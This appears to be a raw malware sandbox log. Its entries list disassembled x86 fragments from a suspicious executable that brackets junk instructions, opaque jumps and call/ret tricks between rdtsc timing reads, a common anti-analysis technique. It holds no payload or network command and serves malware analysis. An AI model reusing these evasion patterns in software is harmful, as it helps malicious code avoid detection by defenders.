Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE377 second address: 8BE39D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA454545C6Dh 0x00000008 jmp 00007FA454545C67h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE39D second address: 8BE3C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C858h 0x00000007 js 00007FA454E2C846h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007FA454E2C84Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE822 second address: 8BE83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE83D second address: 8BE841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BEAE1 second address: 8BEAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BEAE7 second address: 8BEAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C0A07 second address: 8C0A28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jng 00007FA454545C5Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C0A28 second address: 8C0A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C0C60 second address: 8C0C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C0D3F second address: 8C0D4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1525 second address: 8C152B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1717 second address: 8C1750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA454E2C84Eh 0x0000000b je 00007FA454E2C846h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 ja 00007FA454E2C866h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA454E2C854h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C18CE second address: 8C1908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FA454545C56h 0x00000009 jmp 00007FA454545C60h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA454545C69h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1908 second address: 8C1912 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1912 second address: 8C191C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FA454545C56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1AC6 second address: 8C1AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007FA454E2C84Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1AD8 second address: 8C1ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1ADF second address: 8C1AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FA454E2C846h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1AF3 second address: 8C1B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1F91 second address: 8C1F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1F9A second address: 8C1FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007FA454545C66h 0x0000000c push 00000000h 0x0000000e cmc 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA454545C65h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C1FD5 second address: 8C1FE3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C4374 second address: 8C439E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA454545C66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C439E second address: 8C43A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C50C0 second address: 8C5125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cld 0x0000000d push 00000000h 0x0000000f mov edi, 43390931h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FA454545C58h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 and edi, 744A3E45h 0x00000036 mov edi, ecx 0x00000038 xchg eax, ebx 0x00000039 pushad 0x0000003a jmp 00007FA454545C60h 0x0000003f push edi 0x00000040 je 00007FA454545C56h 0x00000046 pop edi 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C71C8 second address: 8C71CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C71CD second address: 8C71EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FA454545C61h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C71EB second address: 8C7265 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov esi, 5C4F2F72h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FA454E2C848h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 xor dword ptr [ebp+122D1D28h], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FA454E2C848h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D3014h], esi 0x00000051 xchg eax, ebx 0x00000052 jp 00007FA454E2C852h 0x00000058 jmp 00007FA454E2C84Ch 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C7265 second address: 8C7269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CB2F0 second address: 8CB2F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CDA7B second address: 8CDA88 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA454545C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CEA57 second address: 8CEA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA454E2C848h 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FA454E2C85Ah 0x00000012 pushad 0x00000013 jmp 00007FA454E2C84Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CF956 second address: 8CF96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA454545C60h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D182E second address: 8D1832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D1832 second address: 8D1838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D380D second address: 8D3824 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA454E2C84Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 882063 second address: 882067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 882067 second address: 88206B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 88206B second address: 882071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C7A1D second address: 8C7A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C853h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C7A34 second address: 8C7A39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CEB70 second address: 8CEB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CFBAB second address: 8CFBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D0B18 second address: 8D0B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA454E2C846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D1973 second address: 8D1979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CEB74 second address: 8CEBF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D2DD8h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FA454E2C848h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D3753h] 0x00000037 mov dword ptr [ebp+122D1E05h], esi 0x0000003d add edi, dword ptr [ebp+122D3595h] 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a jnc 00007FA454E2C84Ch 0x00000050 mov eax, dword ptr [ebp+122D0EB1h] 0x00000056 push eax 0x00000057 or di, 130Fh 0x0000005c pop ebx 0x0000005d push FFFFFFFFh 0x0000005f mov di, dx 0x00000062 adc ebx, 3B30CDDFh 0x00000068 push eax 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CFC75 second address: 8CFC7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CFC7A second address: 8CFC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D23 second address: 8E1D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA454545C56h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D34 second address: 8E1D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D3A second address: 8E1D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D3E second address: 8E1D52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D52 second address: 8E1D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8E1D58 second address: 8E1D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D48E4 second address: 8D4932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ecx 0x00000008 js 00007FA454545C58h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 nop 0x00000012 sub ebx, dword ptr [ebp+122D3A17h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov di, ax 0x00000029 mov dword ptr [ebp+122D30ABh], edx 0x0000002f mov eax, dword ptr [ebp+122D1645h] 0x00000035 push edi 0x00000036 mov ebx, 2A201BDEh 0x0000003b pop ebx 0x0000003c push FFFFFFFFh 0x0000003e stc 0x0000003f nop 0x00000040 pushad 0x00000041 jmp 00007FA454545C5Ah 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D4932 second address: 8D4945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA454E2C846h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D8F88 second address: 8D8F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D8F8E second address: 8D8F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D9F22 second address: 8D9F44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D9F44 second address: 8D9FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov ebx, 30A5E3BAh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FA454E2C848h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d jmp 00007FA454E2C84Dh 0x00000032 mov ebx, ecx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b cld 0x0000003c mov eax, dword ptr [ebp+122D0ED5h] 0x00000042 movzx edi, ax 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007FA454E2C848h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+122D382Bh] 0x00000067 nop 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b push ecx 0x0000006c pop ecx 0x0000006d pop esi 0x0000006e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D9FCB second address: 8D9FE2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA454545C5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8D9FE2 second address: 8D9FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8DAE78 second address: 8DAE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8EB7F2 second address: 8EB812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA454E2C846h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 jc 00007FA454E2C84Ch 0x00000017 jns 00007FA454E2C846h 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8EFBF5 second address: 8EFC20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA454545C66h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e je 00007FA454545C56h 0x00000014 pop eax 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8EFF08 second address: 8EFF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA454E2C846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8EFF12 second address: 8EFF27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push edi 0x0000000d jno 00007FA454545C56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F0080 second address: 8F0085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F01E6 second address: 8F01EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F01EB second address: 8F0225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA454E2C846h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jbe 00007FA454E2C857h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA454E2C853h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F0225 second address: 8F0229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F0229 second address: 8F0235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F500F second address: 8F5013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F51B5 second address: 8F51B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F5792 second address: 8F57B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FA454545C68h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F57B0 second address: 8F57B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F4C99 second address: 8F4CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FA454545C62h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA454545C5Dh 0x00000012 jmp 00007FA454545C67h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F4CD8 second address: 8F4CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F4CDE second address: 8F4CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
